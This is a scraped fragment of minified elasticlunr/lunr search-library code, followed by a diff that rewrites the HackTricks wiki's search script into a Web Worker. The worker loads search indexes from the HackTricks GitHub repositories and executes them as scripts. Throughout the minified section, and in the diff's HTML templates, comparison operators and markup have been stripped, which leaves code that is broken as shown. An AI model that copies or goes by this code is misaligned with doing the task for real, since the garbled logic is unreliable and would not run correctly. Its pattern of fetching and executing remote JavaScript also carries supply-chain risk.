|void 0===e)throw new Error("token should not be undefined");return e.replace(/^\W+/,"").replace(/\W+$/,"")},t.Pipeline.registerFunction(t.trimmer,"trimmer"),t.InvertedIndex=function(){this.root={docs:{},df:0}},t.InvertedIndex.load=function(e){var t=new this;return t.root=e.root,t},t.InvertedIndex.prototype.addToken=function(e,t,n){for(var n=n||this.root,i=0;i<=e.length-1;){var o=e[i];o in n||(n[o]={docs:{},df:0}),i+=1,n=n[o]}var r=t.ref;n.docs[r]?n.docs[r]={tf:t.tf}:(n.docs[r]={tf:t.tf},n.df+=1)},t.InvertedIndex.prototype.hasToken=function(e){if(!e)return!1;for(var t=this.root,n=0;n0&&t.push(e);for(var i in n)"docs"!==i&&"df"!==i&&this.expandToken(e+i,t,n[i]);return t},t.InvertedIndex.prototype.toJSON=function(){return{root:this.root}},t.Configuration=function(e,n){var e=e||"";if(void 0==n||null==n)throw new Error("fields should not be null");this.config={};var i;try{i=JSON.parse(e),this.buildUserConfig(i,n)}catch(o){t.utils.warn("user configuration parse failed, will use default configuration"),this.buildDefaultConfig(n)}},t.Configuration.prototype.buildDefaultConfig=function(e){this.reset(),e.forEach(function(e){this.config[e]={boost:1,bool:"OR",expand:!1}},this)},t.Configuration.prototype.buildUserConfig=function(e,n){var i="OR",o=!1;if(this.reset(),"bool"in e&&(i=e.bool||i),"expand"in e&&(o=e.expand||o),"fields"in e)for(var r in e.fields)if(n.indexOf(r)>-1){var s=e.fields[r],u=o;void 0!=s.expand&&(u=s.expand),this.config[r]={boost:s.boost||0===s.boost?s.boost:1,bool:s.bool||i,expand:u}}else t.utils.warn("field name in user configuration not found in index instance fields");else this.addAllFields2UserConfig(i,o,n)},t.Configuration.prototype.addAllFields2UserConfig=function(e,t,n){n.forEach(function(n){this.config[n]={boost:1,bool:e,expand:t}},this)},t.Configuration.prototype.get=function(){return this.config},t.Configuration.prototype.reset=function(){this.config={}},lunr.SortedSet=function(){this.length=0,this.elements=[]},lunr.SortedSet.load=function(e){var t=new this;return t.elements=e,t.length=e.length,t},lunr.SortedSet.prototype.add=function(){var e,t;for(e=0;e1;){if(r===e)return o;e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o]}return r===e?o:-1},lunr.SortedSet.prototype.locationFor=function(e){for(var t=0,n=this.elements.length,i=n-t,o=t+Math.floor(i/2),r=this.elements[o];i>1;)e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o];return r>e?o:e>r?o+1:void 0},lunr.SortedSet.prototype.intersect=function(e){for(var t=new lunr.SortedSet,n=0,i=0,o=this.length,r=e.length,s=this.elements,u=e.elements;;){if(n>o-1||i>r-1)break;s[n]!==u[i]?s[n]u[i]&&i++:(t.add(s[n]),n++,i++)}return t},lunr.SortedSet.prototype.clone=function(){var e=new lunr.SortedSet;return e.elements=this.toArray(),e.length=e.elements.length,e},lunr.SortedSet.prototype.union=function(e){var t,n,i;this.length>=e.length?(t=this,n=e):(t=e,n=this),i=t.clone();for(var o=0,r=n.toArray();o { "use strict"; - window.search = window.search || {}; - (function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; + + /* ───────────── 0. helpers (main thread) ───────────── */ + const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); }; + + /* ───────────── 1. Web‑Worker code ─────────────────── */ + const workerCode = ` + self.window = self; + self.search = self.search || {}; + const abs = p => location.origin + p; + + /* 1 — elasticlunr */ + try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); } + catch { importScripts(abs('/elasticlunr.min.js')); } + + /* 2 — load a single index (remote → local) */ + async function loadIndex(remote, local, isCloud=false){ + let rawLoaded = false; + try { + const r = await fetch(remote,{mode:'cors'}); + if (!r.ok) throw new Error('HTTP '+r.status); + importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'}))); + rawLoaded = true; + } catch(e){ console.warn('remote',remote,'failed →',e); } + if(!rawLoaded){ + try { importScripts(abs(local)); rawLoaded = true; } + catch(e){ console.error('local',local,'failed →',e); } } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} - } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); - }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); - } - - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } - - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); - } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude - }); - - var markers = document.querySelectorAll("mark"); - function hide() { - for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); - } - } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } - } - } - - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { - unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { - focused.classList.remove("focus"); - next.classList.add("focus"); - } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); - } - } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); - } - } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); - removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } - - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; - } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 10_000; - - const injectScript = (src) => - new Promise((resolve, reject) => { - const s = document.createElement("script"); - s.src = src; - s.onload = () => resolve(src); - s.onerror = (e) => reject(e); - document.head.appendChild(s); + if(!rawLoaded) return null; /* give up on this index */ + const data = { json:self.search.index, urls:self.search.doc_urls, cloud:isCloud }; + delete self.search.index; delete self.search.doc_urls; + return data; + } + + (async () => { + const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js'; + const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js'; + + const indices = []; + const main = await loadIndex(MAIN_RAW , '/searchindex-book.js', false); if(main) indices.push(main); + const cloud= await loadIndex(CLOUD_RAW, '/searchindex.js', true ); if(cloud) indices.push(cloud); + + if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; } + + /* build index objects */ + const built = indices.map(d => ({ + idx : elasticlunr.Index.load(d.json), + urls: d.urls, + cloud: d.cloud, + base: d.cloud ? 'https://cloud.hacktricks.wiki/' : '' + })); + + postMessage({ready:true}); + const MAX = 30, opts = {bool:'AND', expand:true}; + + self.onmessage = ({data:q}) => { + if(!q){ postMessage([]); return; } + + const all = []; + for(const s of built){ + const res = s.idx.search(q,opts); + if(!res.length) continue; + const max = res[0].score || 1; + res.forEach(r => { + const doc = s.idx.documentStore.getDoc(r.ref); + all.push({ + norm : r.score / max, + title: doc.title, + body : doc.body, + breadcrumbs: doc.breadcrumbs, + url : s.base + s.urls[r.ref], + cloud: s.cloud }); - - try { - /* 1 — download raw JS from GitHub */ - const controller = new AbortController(); - const timer = setTimeout(() => controller.abort(), TIMEOUT_MS); - - const res = await fetch(rawUrl, { signal: controller.signal }); - clearTimeout(timer); - if (!res.ok) throw new Error(`HTTP ${res.status}`); - - /* 2 — wrap in a Blob so the browser sees application/javascript */ - const code = await res.text(); - const blobUrl = URL.createObjectURL( - new Blob([code], { type: "application/javascript" }) - ); - - /* 3 — execute it */ - await injectScript(blobUrl); - - /* ───────────── PATCH ───────────── - heavy parsing now deferred to idle time - */ - requestIdleCallback(() => init(window.search)); - return; // ✔ UI remains responsive - } catch (eRemote) { - console.warn("Remote JS failed →", eRemote); - } - - /* ───────── fallback: local copy ───────── */ - try { - await injectScript(localJs); - - /* ───────────── PATCH ───────────── */ - requestIdleCallback(() => init(window.search)); - return; - } catch (eLocal) { - console.error("Local JS failed →", eLocal); - } - })(); - - // Exported functions - search.hasFocus = hasFocus; - })(window.search); \ No newline at end of file + }); + } + all.sort((a,b)=>b.norm-a.norm); + postMessage(all.slice(0,MAX)); + }; + })(); + `; + + /* ───────────── 2. spawn worker ───────────── */ + const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'}))); + + /* ───────────── 3. DOM refs ─────────────── */ + const wrap = document.getElementById('search-wrapper'); + const bar = document.getElementById('searchbar'); + const list = document.getElementById('searchresults'); + const listOut = document.getElementById('searchresults-outer'); + const header = document.getElementById('searchresults-header'); + const icon = document.getElementById('search-toggle'); + + const READY_ICON = icon.innerHTML; + icon.textContent = '⏳'; + icon.setAttribute('aria-label','Loading search …'); + + const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; + let debounce, teaserCount=0; + + /* ───────────── helpers (teaser, metric) ───────────── */ + const escapeHTML = (()=>{const M={'&':'&','<':'<','>':'>','"':'"','\'':'''};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})(); + const URL_MARK='highlight'; + function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;} + + function makeTeaser(body,terms){ + const stem=w=>elasticlunr.stemmer(w.toLowerCase()); + const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30; + const W=[],sents=body.toLowerCase().split('. '); + let i=0,v=W_F,found=false; + sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;}); + if(!W.length) return body; + const win=Math.min(W.length,WIN); + const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)]; + for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1]; + const best=found?sums.lastIndexOf(Math.max(...sums)):0; + const out=[]; i=W[best][2]; + for(let k=best;k'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push(''); i=pos+w.length;} + return out.join(''); + } + + function format(d,terms){ + const teaser=makeTeaser(escapeHTML(d.body),terms); + teaserCount++; + const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27'); + const parts=d.url.split('#'); if(parts.length===1) parts.push(''); + const abs=d.url.startsWith('http'); + const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`; + const style=d.cloud?" style=\"color:#1e88e5\"":""; + const isCloud=d.cloud?" [Cloud]":" [Book]"; + return ``+ + `${d.breadcrumbs}${isCloud}${teaser}`; + } + + /* ───────────── UI control ───────────── */ + function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}} + function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();} + + icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden'))); + + document.addEventListener('keydown',e=>{ + if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return; + const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName); + if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();} + else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}} + else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}} + }); + + bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); }); + + /* ───────────── worker messages ───────────── */ + worker.onmessage = ({data}) => { + if(data && data.ready!==undefined){ + if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); } + else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); } + return; + } + const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean); + header.textContent=metric(docs.length,q); + clear(list); + docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);}); + listOut.classList.toggle('hidden',!docs.length); + }; + })(); + \ No newline at end of file